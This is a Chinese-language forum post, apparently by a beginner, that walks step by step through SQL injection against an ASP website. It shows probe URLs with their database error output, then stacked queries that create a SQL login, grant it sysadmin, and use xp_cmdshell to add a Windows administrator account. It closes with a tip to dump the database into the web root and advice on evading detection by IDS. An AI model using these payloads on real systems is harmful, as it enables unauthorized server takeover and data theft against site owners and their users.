剛剛開始學習SQL注入入侵,有寫的不對和不好的地方希望各位師哥,師姐們多多指導。
在一個供求信息發布的網站上測試了一下,頁面Http://www.xxx.com/new/new.ASP?id=49
我做了如下測試:(1) Http://www.xxx.com/new/new.ASP?id=49'
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e14
[Microsoft][ODBC Microsoft Access Driver] 字符串的語法錯誤
在查詢表達式 'ID=49'' 中。
/new.ASP,行36
(2) Http://www.xxx.com/new/new.ASP?id=49 and 1=1
(正常返回頁面)
(3) Http://www.xxx.com/new/new.ASP?id=49 and 1=2
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '800a0bcd'
BOF 或 EOF 中有一個是"真",或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
/new.ASP,行42
注:上面的測試已經可以看出有SQL注入的機會,我們用下面一個句子來判斷他數據庫類型和登陸身份。
Http://www.xxx.com/new/new.ASP?id=49 and user>0
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '800a0bcd'
將nvarchar值 "dbo" 轉換數據類型為 int 的列時發生語法錯誤
/new.ASP,行42
注:如果顯示"dbo" 轉換數據類型為 int 的列時發生語法錯誤 那麼就可以用我下面介紹的方法來獲得系統管理權限,如果是"abc" 轉換數據類型為 int 的列時發生語法錯誤 那麼就用不能用我下面的介紹來獲得系統權限了。
獲得以上信息後,就可以提交以下URL來一步一步的獲得SQL管理員權限和系統權限了。
(1) Http://www.xxx.com/new/new.ASP?id=49;exec
aster.dbo.sp_addlogin fmzm;--
添加SQL用戶
(2) Http://www.xxx.com/new/new.ASP?id=49;exec master.dbo.sp_passWord null,fmzm,fmzm;--
設置SQL帳號FMZM 的密碼為 FMZM
(3) Http://www.xxx.com/new/new.ASP?id=49;exec master.dbo.sp_addsrvrolemember sysadmin fmzm;--
提升權限:加FMZM進sysadmin管理組(有時候會不成功,就常識下面的句子
;exec master.dbo.sp_addsrvrolemember fmzm,sysadmin-- 為什麼會這樣,我也不清清楚,我就遇到了?栽 。。。)
(4) Http://www.xxx.com/new/new.ASP?id=49;exec master.dbo.xp_cmdshell 'net user fmzm fmzm /workstations:* /times:all /passwordchg:yes /passWordreq:yes /active:yes /add';--
建立一個系統用FMZM 並設置其密碼為FMZM
(注:/workstations:* /times:all /passwordchg:yes /passWordreq:yes /active:yes 這些很關鍵,如果不加這些,你建立的用戶很有可能無法登陸,這些是啟用你的帳號,並且使密碼永不過期的一些相關設置。)
(5) Http://www.xxx.com/new/new.ASP?id=49;exec master.dbo.xp_cmdshell 'net localgroup administrators fmzm /add';--
把帳號FMZM加入到管理員組
OK,到此為止,已經得到了SQL管理權限和系統權限了,還有什麼不能做的呢?把上面的句子變個形 開個TELNET,或者用SQL連接器去連接,隨便你怎麼整了,記得別暴露自己哦 :)目前有些好的IDS已經開始監視xp_cmdshell這些關鍵字了.
附:
(1) http://Site/url.ASP?id=1 ;;and db_name()>0
前面有個類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個系統變量,返回的是連接的數據庫名。
(2) http://Site/url.ASP?id=1;backup database 數據庫名 to disk='c:\inetpub\wwwroot\1.db';--